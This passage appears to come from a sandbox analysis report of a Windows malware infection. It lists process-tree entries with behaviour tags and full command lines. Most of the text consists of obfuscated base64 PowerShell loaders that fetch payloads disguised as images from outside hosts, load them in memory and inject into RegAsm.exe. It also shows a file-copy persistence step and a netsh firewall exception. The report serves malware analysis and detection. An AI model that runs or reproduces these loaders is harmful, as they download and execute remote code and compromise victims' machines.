AYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAh@AAgADUAIAB8ACAARgBvAHIAbQBhAHQALQBUAGEAYgBsAGUAIABOAGEAbQBlACwAQwBQAFUACgAgACAAIAAgACAAIAAgACAAJAB0AHkAcABlACAAPQAgACQAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoACcAh@ABlAHMAh@ABwAG8Ah@wBlAHIAcwBoAGUAbABsAC4ASABvAGEAYQBhAGEAYQBhAHMAZABtAGUAJwApADsACgAgACAAIAAgACAAIAAgACAARwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAbwByAHQALQBPAGIAagBlAGMAh@AAgAEMAUABVACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAh@AAgADUAIAB8ACAARgBvAHIAbQBhAHQALQBUAGEAYgBsAGUAIABOAGEAbQBlACwAQwBQAFUACgAgACAAIAAgACAAIAAgACAAJABpAG4AagBlAGMAIAA9ACAAJwBSAGUAZwBBAHMAbQAnADsACgAgACAAIAAgACAAIAAgACAAJABtAGUAh@ABoAG8AZAAgAD0AIAAkAHQAeQBwAGUALgBHAGUAh@ABNAGUAh@ABoAG8AZAAoACcAbABmAHMAZwBlAGQAZABkAGQAZABkAGQAYQAnACkALgBJAG4Ah@gBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAh@ABbAF0AXQAgACgAJwB0AHgAh@AAuAGgAYQBpAGEAcwBpAC8ANgAzAGEAMABhADcAOABhADAAYgA3ADMALQBhAGEAZgA4AC0ANgBiADIANAAtADcANABlAGYALQBkAGUAOAAyAGEAMAAyAGMALwB0AGUAbgAuAGQAYwBlAHIAYQBjAHUALgA3ADAAbQBqAHkAaAA2AHMAZAAxAC8ALwA6AHMAJwAsACAAJwAxACcALAAgACcAJwAsACAAJABpAG4AagBlAGMALAAgACcAMAAnACAALAAgACcAeAA4ADYAJwApACkAfQB9ADsACgA=';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string($ddsdgo.replace('h@','d')));iex $OWjuxD"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Adds Run key to start application
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1664
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden if ((Get-Location).Path -ne 'C:\ProgramData') { (Get-ChildItem *.bat | Sort-Object CreationTime -Descending | Select-Object -First 1) | Copy-Item -Destination 'C:\ProgramData\.bat' -Force }
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4920
  - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:4448
    - - C:\Windows\SysWOW64\netsh.exe
        
        netsh firewall add allowedprogram "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" "RegAsm.exe" ENABLE
        5⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        System Location Discovery: System Language Discovery
        
        PID:4332

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Start-Process powershell -WindowStyle Hidden -ArgumentList '-Command \"$ddsdgo = ''IAAgACAAWwBOAGUAh@AAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAh@QByAGkAh@AB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAh@QByAGkAh@AB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgAKACAAIAAgACAAIAAgACAAIABmAHUAbgBjAHQAaQBvAG4AIABEAG8Ah@wBuAGwAbwBhAGQARABhAHQAYQBGAHIAbwBtAEwAaQBuAGsAcwAgAHsAIABwAGEAcgBhAG0AIAAoAFsAcwB0AHIAaQBuAGcAWwBh@AF0AJABsAGkAbgBrAHMAKQAgAAoAIAAgACAAIAAgACAAIAAgACQAh@wBlAGIAQwBsAGkAZQBuAHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAh@AAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4Ah@AA7ACAACgAgACAAIAAgACAAIAAgACAAJABzAGgAh@QBmAGYAbABlAGQATABpAG4AawBzACAAPQAgAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAEkAbgBwAHUAh@ABPAGIAagBlAGMAh@AAgACQAbABpAG4AawBzACAALQBDAG8Ah@QBuAHQAIAAkAGwAaQBuAGsAcwAuAEwAZQBuAGcAh@ABoADsAIAAKACAAIAAgACAAIAAgACAAIABmAG8AcgBlAGEAYwBoACAAKAAkAGwAaQBuAGsAIABpAG4AIAAkAHMAaAB1AGYAZgBsAGUAZABMAGkAbgBrAHMAKQAgAHsAIAB0AHIAeQAgAHsAIAByAGUAh@AB1AHIAbgAgACQAh@wBlAGIAQwBsAGkAZQBuAHQALgBEAG8Ah@wBuAGwAbwBhAGQARABhAHQAYQAoACQAbABpAG4AawApACAAfQAgAGMAYQB0AGMAaAAgAHsAIABjAG8AbgB0AGkAbgB1AGUAIAB9ACAAfQA7ACAACgAgACAAIAAgACAAIAAgACAAcgBlAHQAh@QByAG4AIAAkAG4Ah@QBsAGwAIAB9ADsAIAAKACAAIAAgACAAIAAgACAAIAAkAEIAeQB0AGUAcwAgAD0AIAAnAGgAh@AB0ACcAOwAKACAAIAAgACAAIAAgACAAIAAkAEIAeQB0AGUAcwAyACAAPQAgACcAcABzADoALwAvACcAOwAKACAAIAAgACAAIAAgACAAIAAkAGwAZgBzAGQAZgBzAGQAZwAgAD0AIAAgACQAQgB5AHQAZQBzACAAKwAkAEIAeQB0AGUAcwAyADsACgAgACAAIAAgACAAIAAgACAAJABsAGkAbgBrAHMAIAA9ACAAQAAoACgAJABsAGYAcwBkAGYAcwBkAGcAIAArACAAJwB5AGIAZwBjAHQAZAB0AGIAegB2AGcAcABkAHgAagBpAHYAYQBmAHkALgBzAHUAcABhAGIAYQBzAGUALgBjAG8ALwBzAHQAbwByAGEAZwBlAC8Ah@gAxAC8AbwBiAGoAZQBjAHQALwBwAHUAYgBsAGkAYwAvAG4AYQBuAG8ALwBpAG0AYQBnAGUALgBqAHAAZwA/ADEAMgA3ADEAMQAzADQAMwAnACkALAAgACgAJABsAGYAcwBkAGYAcwBkAGcAIAArACAAJwByAGEAh@wAuAGcAaQB0AGgAh@QBiAHUAcwBlAHIAYwBvAG4Ah@ABlAG4Ah@AAuAGMAbwBtAC8AMwByAGkAYwAzAGgALwBzAGUAcgB2AGUAcgAvAHIAZQBmAHMALwBoAGUAYQBkAHMALwBtAGEAaQBuAC8AaQBtAGEAZwBlAC4AagBwAGcAPwAxADIANwAxADEAMwA0ADMAJwApACkAOwAKACAAIAAgACAAIAAgACAAIAAgACQAaQBtAGEAZwBlAEIAeQB0AGUAcwAgAD0AIABEAG8Ah@wBuAGwAbwBhAGQARABhAHQAYQBGAHIAbwBtAEwAaQBuAGsAcwAgACQAbABpAG4AawBzADsACgAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAaQBtAGEAZwBlAEIAeQB0AGUAcwAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJABpAG0AYQBnAGUAVABlAHgAh@AAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAh@AAuAEUAbgBjAG8AZABpAG4AZwBh@ADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGkAbQBhAGcAZQBCAHkAh@ABlAHMAKQA7AAoAIAAgACAAIAAgACAAIAAgACAAJABzAHQAYQByAHQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4AJwA7ACAAJABlAG4AZABGAGwAYQBnACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8ARQBOAEQAPgA+ACcAOwAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAcwB0AGEAcgB0AEYAbABhAGcAKQA7ACAACgAgACAAIAAgACAAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAh@AAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7AAoAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAHMAh@ABhAHIAh@ABJAG4AZABlAHgAIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAJABlAG4AZABJAG4AZABlAHgAIAAtAGcAh@AAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAApACAAewAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgACsAPQAgACQAcwB0AGEAcgB0AEYAbABhAGcALgBMAGUAbgBnAHQAaAA7ACAACgAgACAAIAAgACAAIAAgACAAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaABoACAAPQAgACQAZQBuAGQASQBuAGQAZQB4ACAALQAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAA7AAoAIAAgACAAIAAgACAAIAAgACAAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAsACAAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaABoACkAOwAKACAAIAAgACAAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAh@AAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7AAoAIAAgACAAIAAgACAAIAAgACAAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4Ah@gBlAHIAh@ABh@ADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAh@AByAGkAbgBnACgAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACkAOwAgACAAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAh@AAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7AAoAIAAgACAAIAAgACAAIAAgACQAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5ACAAPQAgAFsAUwB5AHMAh@ABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACkAOwAKACAAIAAgACAAIAAgACAAIAAgACAARwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAbwByAHQALQBPAGIAagBlAGMAh@AAgAEMAUABVACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAh@AAgADUAIAB8ACAARgBvAHIAbQBhAHQALQBUAGEAYgBsAGUAIABOAGEAbQBlACwAQwBQAFUACgAgACAAIAAgACAAIAAgACAAJAB0AHkAcABlACAAPQAgACQAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoACcAh@ABlAHMAh@ABwAG8Ah@wBlAHIAcwBoAGUAbABsAC4ASABvAGEAYQBhAGEAYQBhAHMAZABtAGUAJwApADsACgAgACAAIAAgACAAIAAgACAARwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAbwByAHQALQBPAGIAagBlAGMAh@AAgAEMAUABVACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAh@AAgADUAIAB8ACAARgBvAHIAbQBhAHQALQBUAGEAYgBsAGUAIABOAGEAbQBlACwAQwBQAFUACgAgACAAIAAgACAAIAAgACAAJABpAG4AagBlAGMAIAA9ACAAJwBSAGUAZwBBAHMAbQAnADsACgAgACAAIAAgACAAIAAgACAAJABtAGUAh@ABoAG8AZAAgAD0AIAAkAHQAeQBwAGUALgBHAGUAh@ABNAGUAh@ABoAG8AZAAoACcAbABmAHMAZwBlAGQAZABkAGQAZABkAGQAYQAnACkALgBJAG4Ah@gBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAh@ABbAF0AXQAgACgAJwB0AHgAh@AAuAGgAYQBpAGEAcwBpAC8ANgAzAGEAMABhADcAOABhADAAYgA3ADMALQBhAGEAZgA4AC0ANgBiADIANAAtADcANABlAGYALQBkAGUAOAAyAGEAMAAyAGMALwB0AGUAbgAuAGQAYwBlAHIAYQBjAHUALgA3ADAAbQBqAHkAaAA2AHMAZAAxAC8ALwA6AHMAJwAsACAAJwAxACcALAAgACcAJwAsACAAJABpAG4AagBlAGMALAAgACcAMAAnACAALAAgACcAeAA4ADYAJwApACkAfQB9ADsACgA='';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string($ddsdgo.replace(''h@'',''d'')));iex $OWjuxD\"'"
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3332
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$ddsdgo = 'IAAgACAAWwBOAGUAh@AAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAh@QByAGkAh@AB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAh@QByAGkAh@AB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgAKACAAIAAgACAAIAAgACAAIABmAHUAbgBjAHQAaQBvAG4AIABEAG8Ah@wBuAGwAbwBhAGQARABhAHQAYQBGAHIAbwBtAEwAaQBuAGsAcwAgAHsAIABwAGEAcgBhAG0AIAAoAFsAcwB0AHIAaQBuAGcAWwBh@AF0AJABsAGkAbgBrAHMAKQAgAAoAIAAgACAAIAAgACAAIAAgACQAh@wBlAGIAQwBsAGkAZQBuAHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAh@AAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4Ah@AA7ACAACgAgACAAIAAgACAAIAAgACAAJABzAGgAh@QBmAGYAbABlAGQATABpAG4AawBzACAAPQAgAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAEkAbgBwAHUAh@ABPAGIAagBlAGMAh@AAgACQAbABpAG4AawBzACAALQBDAG8Ah@QBuAHQAIAAkAGwAaQBuAGsAcwAuAEwAZQBuAGcAh@ABoADsAIAAKACAAIAAgACAAIAAgACAAIABmAG8AcgBlAGEAYwBoACAAKAAkAGwAaQBuAGsAIABpAG4AIAAkAHMAaAB1AGYAZgBsAGUAZABMAGkAbgBrAHMAKQAgAHsAIAB0AHIAeQAgAHsAIAByAGUAh@AB1AHIAbgAgACQAh@wBlAGIAQwBsAGkAZQBuAHQALgBEAG8Ah@wBuAGwAbwBhAGQARABhAHQAYQAoACQAbABpAG4AawApACAAfQAgAGMAYQB0AGMAaAAgAHsAIABjAG8AbgB0AGkAbgB1AGUAIAB9ACAAfQA7ACAACgAgACAAIAAgACAAIAAgACAAcgBlAHQAh@QByAG4AIAAkAG4Ah@QBsAGwAIAB9ADsAIAAKACAAIAAgACAAIAAgACAAIAAkAEIAeQB0AGUAcwAgAD0AIAAnAGgAh@AB0ACcAOwAKACAAIAAgACAAIAAgACAAIAAkAEIAeQB0AGUAcwAyACAAPQAgACcAcABzADoALwAvACcAOwAKACAAIAAgACAAIAAgACAAIAAkAGwAZgBzAGQAZgBzAGQAZwAgAD0AIAAgACQAQgB5AHQAZQBzACAAKwAkAEIAeQB0AGUAcwAyADsACgAgACAAIAAgACAAIAAgACAAJABsAGkAbgBrAHMAIAA9ACAAQAAoACgAJABsAGYAcwBkAGYAcwBkAGcAIAArACAAJwB5AGIAZwBjAHQAZAB0AGIAegB2AGcAcABkAHgAagBpAHYAYQBmAHkALgBzAHUAcABhAGIAYQBzAGUALgBjAG8ALwBzAHQAbwByAGEAZwBlAC8Ah@gAxAC8AbwBiAGoAZQBjAHQALwBwAHUAYgBsAGkAYwAvAG4AYQBuAG8ALwBpAG0AYQBnAGUALgBqAHAAZwA/ADEAMgA3ADEAMQAzADQAMwAnACkALAAgACgAJABsAGYAcwBkAGYAcwBkAGcAIAArACAAJwByAGEAh@wAuAGcAaQB0AGgAh@QBiAHUAcwBlAHIAYwBvAG4Ah@ABlAG4Ah@AAuAGMAbwBtAC8AMwByAGkAYwAzAGgALwBzAGUAcgB2AGUAcgAvAHIAZQBmAHMALwBoAGUAYQBkAHMALwBtAGEAaQBuAC8AaQBtAGEAZwBlAC4AagBwAGcAPwAxADIANwAxADEAMwA0ADMAJwApACkAOwAKACAAIAAgACAAIAAgACAAIAAgACQAaQBtAGEAZwBlAEIAeQB0AGUAcwAgAD0AIABEAG8Ah@wBuAGwAbwBhAGQARABhAHQAYQBGAHIAbwBtAEwAaQBuAGsAcwAgACQAbABpAG4AawBzADsACgAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQAaQBtAGEAZwBlAEIAeQB0AGUAcwAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJABpAG0AYQBnAGUAVABlAHgAh@AAgAD0AIABbAFMAeQBzAHQAZQBtAC4AVABlAHgAh@AAuAEUAbgBjAG8AZABpAG4AZwBh@ADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGkAbQBhAGcAZQBCAHkAh@ABlAHMAKQA7AAoAIAAgACAAIAAgACAAIAAgACAAJABzAHQAYQByAHQARgBsAGEAZwAgAD0AIAAnADwAPABCAEEAUwBFADYANABfAFMAVABBAFIAVAA+AD4AJwA7ACAAJABlAG4AZABGAGwAYQBnACAAPQAgACcAPAA8AEIAQQBTAEUANgA0AF8ARQBOAEQAPgA+ACcAOwAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAcwB0AGEAcgB0AEYAbABhAGcAKQA7ACAACgAgACAAIAAgACAAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAh@AAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7AAoAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAHMAh@ABhAHIAh@ABJAG4AZABlAHgAIAAtAGcAZQAgADAAIAAtAGEAbgBkACAAJABlAG4AZABJAG4AZABlAHgAIAAtAGcAh@AAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAApACAAewAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAgACsAPQAgACQAcwB0AGEAcgB0AEYAbABhAGcALgBMAGUAbgBnAHQAaAA7ACAACgAgACAAIAAgACAAIAAgACAAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaABoACAAPQAgACQAZQBuAGQASQBuAGQAZQB4ACAALQAgACQAcwB0AGEAcgB0AEkAbgBkAGUAeAA7AAoAIAAgACAAIAAgACAAIAAgACAAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACAAPQAgACQAaQBtAGEAZwBlAFQAZQB4AHQALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQAcwB0AGEAcgB0AEkAbgBkAGUAeAAsACAAJABiAGEAcwBlADYANABMAGUAbgBnAHQAaABoACkAOwAKACAAIAAgACAAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAh@AAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7AAoAIAAgACAAIAAgACAAIAAgACAAJABjAG8AbQBtAGEAbgBkAEIAeQB0AGUAcwAgAD0AIABbAFMAeQBzAHQAZQBtAC4AQwBvAG4Ah@gBlAHIAh@ABh@ADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAh@AByAGkAbgBnACgAJABiAGEAcwBlADYANABDAG8AbQBtAGEAbgBkACkAOwAgACAAIAAkAGUAbgBkAEkAbgBkAGUAeAAgAD0AIAAkAGkAbQBhAGcAZQBUAGUAeAB0AC4ASQBuAGQAZQB4AE8AZgAoACQAZQBuAGQARgBsAGEAZwApADsAIAAgACAAJABlAG4AZABJAG4AZABlAHgAIAA9ACAAJABpAG0AYQBnAGUAVABlAHgAh@AAuAEkAbgBkAGUAeABPAGYAKAAkAGUAbgBkAEYAbABhAGcAKQA7AAoAIAAgACAAIAAgACAAIAAgACQAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5ACAAPQAgAFsAUwB5AHMAh@ABlAG0ALgBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQQBzAHMAZQBtAGIAbAB5AF0AOgA6AEwAbwBhAGQAKAAkAGMAbwBtAG0AYQBuAGQAQgB5AHQAZQBzACkAOwAKACAAIAAgACAAIAAgACAAIAAgACAARwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAbwByAHQALQBPAGIAagBlAGMAh@AAgAEMAUABVACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAh@AAgADUAIAB8ACAARgBvAHIAbQBhAHQALQBUAGEAYgBsAGUAIABOAGEAbQBlACwAQwBQAFUACgAgACAAIAAgACAAIAAgACAAJAB0AHkAcABlACAAPQAgACQAbABvAGEAZABlAGQAQQBzAHMAZQBtAGIAbAB5AC4ARwBlAHQAVAB5AHAAZQAoACcAh@ABlAHMAh@ABwAG8Ah@wBlAHIAcwBoAGUAbABsAC4ASABvAGEAYQBhAGEAYQBhAHMAZABtAGUAJwApADsACgAgACAAIAAgACAAIAAgACAARwBlAHQALQBQAHIAbwBjAGUAcwBzACAAfAAgAFMAbwByAHQALQBPAGIAagBlAGMAh@AAgAEMAUABVACAALQBEAGUAcwBjAGUAbgBkAGkAbgBnACAAfAAgAFMAZQBsAGUAYwB0AC0ATwBiAGoAZQBjAHQAIAAtAEYAaQByAHMAh@AAgADUAIAB8ACAARgBvAHIAbQBhAHQALQBUAGEAYgBsAGUAIABOAGEAbQBlACwAQwBQAFUACgAgACAAIAAgACAAIAAgACAAJABpAG4AagBlAGMAIAA9ACAAJwBSAGUAZwBBAHMAbQAnADsACgAgACAAIAAgACAAIAAgACAAJABtAGUAh@ABoAG8AZAAgAD0AIAAkAHQAeQBwAGUALgBHAGUAh@ABNAGUAh@ABoAG8AZAAoACcAbABmAHMAZwBlAGQAZABkAGQAZABkAGQAYQAnACkALgBJAG4Ah@gBvAGsAZQAoACQAbgB1AGwAbAAsACAAWwBvAGIAagBlAGMAh@ABbAF0AXQAgACgAJwB0AHgAh@AAuAGgAYQBpAGEAcwBpAC8ANgAzAGEAMABhADcAOABhADAAYgA3ADMALQBhAGEAZgA4AC0ANgBiADIANAAtADcANABlAGYALQBkAGUAOAAyAGEAMAAyAGMALwB0AGUAbgAuAGQAYwBlAHIAYQBjAHUALgA3ADAAbQBqAHkAaAA2AHMAZAAxAC8ALwA6AHMAJwAsACAAJwAxACcALAAgACcAJwAsACAAJABpAG4AagBlAGMALAAgACcAMAAnACAALAAgACcAeAA4ADYAJwApACkAfQB9ADsACgA=';$oWjuxd = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string($ddsdgo.replace('h@','d')));iex $OWjuxD"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4780
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden if ((Get-Location).Path -ne 'C:\ProgramData') { (Get-ChildItem *.bat | Sort-Object CreationTime -Descending | Select-Object -First 1) | Copy-Item -Destination 'C:\ProgramData\.bat' -Force }
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:5116
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
    3⤵
    PID:5172

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -Command "Start-Process powershell -WindowStyle Hidden -ArgumentList '-Command \"$ddsdgo = ''IAAgACAAWwBOAGUAh@AAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAh@QByAGkAh@AB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAE4AZQB0AC4AUwBlAGMAh@QByAGkAh@AB5AFAAcgBvAHQAbwBjAG8AbABUAHkAcABlAF0AOgA6AFQAbABzADEAMgAKACAAIAAgACAAIAAgACAAIABmAHUAbgBjAHQAaQBvAG4AIABEAG8Ah@wBuAGwAbwBhAGQARABhAHQAYQBGAHIAbwBtAEwAaQBuAGsAcwAgAHsAIABwAGEAcgBhAG0AIAAoAFsAcwB0AHIAaQBuAGcAWwBh@AF0AJABsAGkAbgBrAHMAKQAgAAoAIAAgACAAIAAgACAAIAAgACQAh@wBlAGIAQwBsAGkAZQBuAHQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAh@AAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4Ah@AA7ACAACgAgACAAIAAgACAAIAAgACAAJABzAGgAh@QBmAGYAbABlAGQATABpAG4AawBzACAAPQAgAEcAZQB0AC0AUgBhAG4AZABvAG0AIAAtAEkAbgBwAHUAh@ABPAGIAagBlAGMAh@AAgACQAbABpAG4AawBzACAALQBDAG8Ah@QBuAHQAIAAkAGwAaQBuAGsAcwAuAEwAZQBuAGcAh@ABoADsAIAAKACAAIAAgACAAIAAgACAAIABmAG8AcgBlAGEAYwBoACAAKAAkAGwAaQBuAGsAIABpAG4AIAAkAHMAaAB1AGYAZgBsAGUAZABMAGkAbgBrAHMAKQAgAHsAIAB0AHIAeQAgAHsAIAByAGUAh@AB1AHIAbgAgACQAh@wBlAGIAQwBsAGkAZQBuAHQALgBEAG8Ah@wBuAGwAbwBhAGQARABhAHQAYQAoACQAbABpAG4AawApACAAfQAgAGMAYQB0AGMAaAAgAHsAIABjAG8AbgB0AGkAbgB1AGUAIAB9ACAAfQA7ACAACgAgACAAIAAgACAAIAAgACAAcgBlAHQAh@QByAG4AIAAkAG4Ah@QBsAGwAIAB9ADsAIAAKACAAIAAgACAAIAAgACAAIAAkAEIAeQB0AGUAcwAgAD0AIAAnAGgAh@AB0ACcAOwAKACAAIAAgACAAIAAgACAAIAAkAEIAeQB0AGUAcwAyACAAPQAgACcAcABzADoALwAvACcAOwAKACAAIAAgACAAIAAgACAAIAAkAGwAZgBzAGQAZgBzAGQAZwAgAD0AIAAgACQAQgB5AHQAZQBzACAAKwAkAEIAeQB0AGUAcwAyADsACgAgACAAIAAgACAAIAAgACAAJABsAGkAbgBrAHMAIAA9ACAAQAAoACgAJABsAGYAcwBkAGYAcwBkAGcAIAArACAAJwB5AGIAZwBjAHQAZAB0AGIAegB2AGcAcABkAHgAagBpAHYAYQBmAHkALgBzAHUAcABhAGIAYQBzAGUALgBjAG8ALwBzAHQAbwByAGEAZwBlAC8Ah@gAxAC8AbwBiAGoAZQBjAHQALwBwAHUAYgBsAGkAYwAvAG4AYQBuAG8ALwBpAG0AYQBnAGUALgBqAHAAZwA/ADEAMgA3ADEAMQAzADQAMwAnACkALAAgACgAJABsAGYAcwBkAGYAcwBkAGcAIAArACAAJwByAGEAh@wAuAGcAaQB0AGgAh@QBiAHUAcwBlAHIAYwBvAG4Ah@ABlAG4Ah@AAuAGMAbwBtAC8AMwByAGkAYwAzAGgALwBzAGUAcgB2AGUAcgAvAHIAZQBmAHMALwBoAGUAYQBkAHMALwBtAGEAaQBuAC8AaQBtAGEAZwBlAC4AagBwAGcAPwAxADIANwAxADEAMwA0ADMAJwApACkAOwAKACAAIAAgACAAIAAgACAAIAAgACQAaQBtAGEAZwBlAEIAeQB0AGUAcwAgAD0AIABEAG8Ah@wBuAGwAbwBhAGQARABhAH